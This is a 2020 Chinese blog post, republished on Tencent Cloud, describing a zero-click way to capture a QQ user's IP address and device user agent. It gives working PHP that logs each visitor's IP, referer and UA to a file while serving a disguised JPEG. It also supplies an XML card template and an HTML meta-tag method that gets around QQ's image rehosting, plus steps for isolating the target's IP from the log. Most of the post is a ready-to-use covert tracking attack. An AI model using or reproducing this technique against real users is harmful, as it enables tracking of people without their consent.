前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >无需点击,通过qq的xml卡片自动获取对方ip

无需点击,通过qq的xml卡片自动获取对方ip

作者头像
Y5neKO
发布2022-01-13 13:11:52
7K2
发布2022-01-13 13:11:52
举报
文章被收录于专栏:Y5neKO博客Y5neKO博客

起因是这样的,某一天我像往常一样刷着qq,突然在之前加的一个qq机器人群发现一个机器人发出这样一张卡片:谁在窥屏。我心想难不成你还真能知道我在窥屏?几秒钟后我傻眼了,该机器人返回了几个ip和浏览器ua信息,其中我的ip和手机型号赫然出现在我的眼前,难以置信,愣了半天后,心里立马冒出了好奇的想法,今天必须把这个原理搞明白,不然我会睡不着觉。经过一番询问老师(百度),明白了这个功能是通过qq加载xml卡片时会自动访问xml卡片中的图片链接,从而获取到正在看聊天记录的ip,正好前几天研究了xml卡片消息,明白原理后立马开始想思路复现。

0x01 php获取ip

因为不是很会php,就到网上找了个找,发现需要用到如下几个函数:getenv('HTTP_CLIENT_IP')getenv('HTTP_X_FORWARDED_FOR')getenv('HTTP_X_FORWARDED')getenv('HTTP_FORWARDED_FOR')getenv('HTTP_FORWARDED')以及变量:_SERVER['REMOTE_ADDR']_SERVER['HTTP_REFERER']

代码语言:javascript
复制
function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }

如果对方有代理的话$_SERVER['REMOTE_ADDR']获取到的就会是代理的ip,此函数是为了获取真实ip。

为了更掩人耳目(怎么说得跟谍战似的...),我们还需要用到imagecreatefromjpeg()函数,他的作用是将php文件伪装成图片,构造代码如下:

代码语言:javascript
复制
$im = imagecreatefromjpeg("1.jpg");//这样php返回的图片就会是同目录下的1.jpg。
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);

再加上输出获取到的值到外部文件等功能,最终得到的代码为:

代码语言:javascript
复制
<?php 
    function filter_dangerous_words($str){
        $str = str_replace("'", "‘", $str);
        $str = str_replace("\"", "“", $str);
        $str = str_replace("<", "《", $str);
        $str = str_replace(">", "》", $str);
        return $str;
    }
    function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
 
    $ip = getIP();
    @$referer = $_SERVER['HTTP_REFERER']."\r\n";
    $ua = $_SERVER['HTTP_USER_AGENT']."\r\n\r\n";
    date_default_timezone_set("Asia/Shanghai");
    $date_ = date("Y.m.d,h:i:sa")."\r\n";
 
    $hack = 'date: '.$date_.'ip:'.$ip."\r\n".'referer: '.$referer.'ua: '.$ua;
    $hack = filter_dangerous_words($hack);
    $op = fopen('hack.txt','a+');
    fwrite($op,$hack);
    fclose($op);
    
    $im = imagecreatefromjpeg("1.jpg");
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
 ?>

这样核心文件iptest.php就构造完成了。

0x02 发送xml卡片

这里有两种方法,一一给大家说明一下

0x02.1 通过插件

这个方法就是之前说到的不适合大部分人的方法,因为此方法首先需要手机有root权限,其次需要刷入Xposed框架,才能使用模块。当然如果有这些条件就方便多了。

此方法用到的模块:QNotified模块或者QQ复读机模块(目前需收费),下载链接就不写出来了,百度即可。

有了这些东西直接构造xml卡片就行了,我们随便找个浏览器分享网页到qq,长按分享的消息就可以直接复制代码,因为某些xml卡片容易被qq和谐,所以这里提供一个比较稳定的示例代码:

代码语言:javascript
复制
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?><msg serviceID="146" templateID="1" action="web" brief="聊天窗预览文字" sourceMsgId="0" url="跳转链接" flag="0" adverSign="0" multiMsgFlag="0"><item layout="2" advertiser_id="0" aid="0"><picture cover="配合iptest.php伪造图片使用,预览图片地址" w="0" h="0" /><title>标题</title><summary>描述</summary></item><source name="QQ超级会员" icon="" action="app" appid="-1" /></msg>

各个需要用到的参数位置都用汉字标明了,自己修改即可,修改完以后粘贴到qq的输入栏,长按发送按钮就能直接转换为xml卡片。

划重点:此方法对电脑端无效,因为电脑端只会加载url.cn网址下的图片链接

0x02.2 直接分享

前面的方法确实比较简单,不过要求太多,这个方法就不需要那么多要求了,不过相对来说比较麻烦。

因为qq分享机制的原因,导致直接分享出去的xml卡片会先将图片地址转换为腾讯的图床,所以探测链接不会生效,后来受某网站(www.location.run)的启发发现了这种方法。

该网站可通过qq内直接分享来获取对方ip,经测试还挺准确的,不过要付费。。。这就很鸡肋了,穷要穷得有志气,我是不会给一分钱的(恼),搞懂他的原理不就得了,事实证明没有这么简单,前几天一直在研究也没想出办法,因为该网站生成的定位链接获取到的html源码只有几个大大的单词:404 Not Found。正当我百思不得其姐的时候qq里的一位大佬给了我提示(大佬用的是小号所以没有留名,不过这里还是感谢大佬了):是因为ua的原因。。。大佬说出这句话的时候我只想给自己一个大大的耳光,我踏马怎么没想到呢,火狐改ua,进入该网站,F12一打开,果然获取到了正确的源码iptest.html:

代码语言:javascript
复制
<head>
    <meta itemprop="name" content="xml卡片标题" />
    <meta itemprop="description" content="xml卡片描述" />
    <meta itemprop="image" content="iptest.php文件链接" />
    <title>标题</title>
    </head>

划重点:这里需要注意的是,iptest.php文件链接需要在其后带一串无效参数才能正常转换为短链接,例如http://www.test.com/iptest.php?abcdefg 否则qq仍然会把探测链接转为图床链接,至今没有搞懂为什么,不过照做就完了

将源码按照自己的配置修改后,上传服务器即可

0x03 筛选ip

前面说到的两种方法都能确确实实获取到ip没错,不过毕竟是经过了别人家的门,再怎么说也会留下一点痕迹,这里的痕迹就是腾讯服务器的ip,那么怎么筛选出真正的ip呢?

说是筛选,其实也就几个ip,上述两个方法获取到的ip略有不同,下面说一下。

0x03.1

第一种方法获取到的ip,首先第一个会获取到腾讯服务器的ip,无ua值,具体因为什么还不知道,大概是因为聊天记录漫游到云服务器的原因;

然后第二个获取到的ip便是本机的ip,因为本机会最先预览一次,通过iptest.php记录下来的ua值很容易辨别;

排除了这两个ip,剩下一般就是对方的ip了,当然前提是你只发给了目标,因为方法过于强大,无需点击即可获取,不排除会有特殊情况,大家随机应变。

0x03.2

第二种方法获取到的ip就要多一点了,因为经过的步骤比较多。

首先第一个,只要点击了分享方式选择qq,他就会自动先在云端生成一个xml卡片,此时会将iptest.php文件链接转换为腾讯短链url.cn,所以这里获取到的第一个ip是转短链api的服务器的ip,ua:myop/1.0 ;

然后第二个,当你选择了一个好友后会预览xml卡片,让你确认是否发送,此时本机最先预览图片,获取到的是本机的ip;

最后第三个,同上所述为聊天记录漫游服务器的ip;

经过多次反复测试,在某些情况下还会出现一个ua为iPhone的ip地址,非目标ip,暂时还不清楚是为什么,推测也为转短链的服务器ip,一般情况下不会出现:

排除了以上三个ip剩下的即是对方ip。

0x04 测试过程

首先将上述的两个文件上传服务器,加上一张预览用的图片1.jpg,结构如下:

0x04.1 第一种方法

首先编辑xml代码,填上自己上传的地址,输入到发送栏,这里用我自己的服务器和小号备用机做测试

长按发送按钮转成xml卡片消息

此时查看服务器,发现已经生成了记录hack.txt

文件内容为

可以看到获取到了三个ip,没有ua值的是腾讯服务器的ip,第一个是大号本机的ip,第三个则是小号备用机(也就是探测目标的ip)

未经过点击,ip探测成功√

0x04.2 第二种方法

首先qq内打开iptest.html文件链接,点击右上角,此时还未选择分享方式,未获取到ip

点击“好友”,到达选择好友界面,此时云端生成xml卡片,iptest.php文件链接被转换为腾讯短链,获取到了短链服务器的ip

选择好友,确认是否发送,本机预览消息,此时获取到本机ip

点击发送,聊天记录漫游到服务器,此时获取到腾讯服务器ip

小号点开聊天记录,自动读取了xml卡片,此时获取到小号备用机(目标)ip

未经过点击,ip探测成功√

0x05 注意事项

经过了多次测试,终于写出了这篇文章,最后说几个全文的注意事项,划重点了哈!

1.所有的链接都会受到缓存的限制,所以一个iptest.php链接只能对一个目标生效一次,可以通过修改后面的无效参数来更新缓存。

2.上面说明获取顺序的时候,是按步骤顺序写的,实际上获取到的服务器ip记录时间不一定按照顺序记录,但是基本上最后一个就是目标ip,毕竟目标是最后一个收到的嘛,当然也不排除特殊情况,需要随机应变。

3.经过多次测试,发现方法二存在特殊情况,某些时候iptest.html文件链接在qq内打开时会存在该页面本身被缓存的情况,导致iptest.php文件链接不会更新,缓存自然不会更新,所以无法成功获取ip,这种情况下hack.txt不会记录ip,所以比较好判断。可以通过更改iptest.html文件名来更新页面的缓存。

4.记得每一次探测后删除hack.txt文件或改名,以免下一次使用时搞混。

0x06 后记

讲真,在现在这个时代拿到ip并没有什么实际的用处,顶多能够吓吓小白或者在小白面前装装逼,但这里还是要说一句,我只是做一个分享,若因此文章产生了比较重大的问题(虽然不大可能),一切责任自负,与本文作者无关!

本文用到的文件都在我的GitHub里,有什么不懂的大家可以留言问我。 GitHub项目地址:https://github.com/YS-Neko/qq-xml-ip

本文原创,转载请注明出处

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020年03月10日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 php获取ip
  • 0x02 发送xml卡片
  • 0x02.1 通过插件
  • 0x02.2 直接分享
    • 0x03 筛选ip
    • 0x03.1
    • 0x03.2
      • 0x04 测试过程
      • 0x04.1 第一种方法
      • 0x04.2 第二种方法
        • 0x05 注意事项
          • 0x06 后记
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档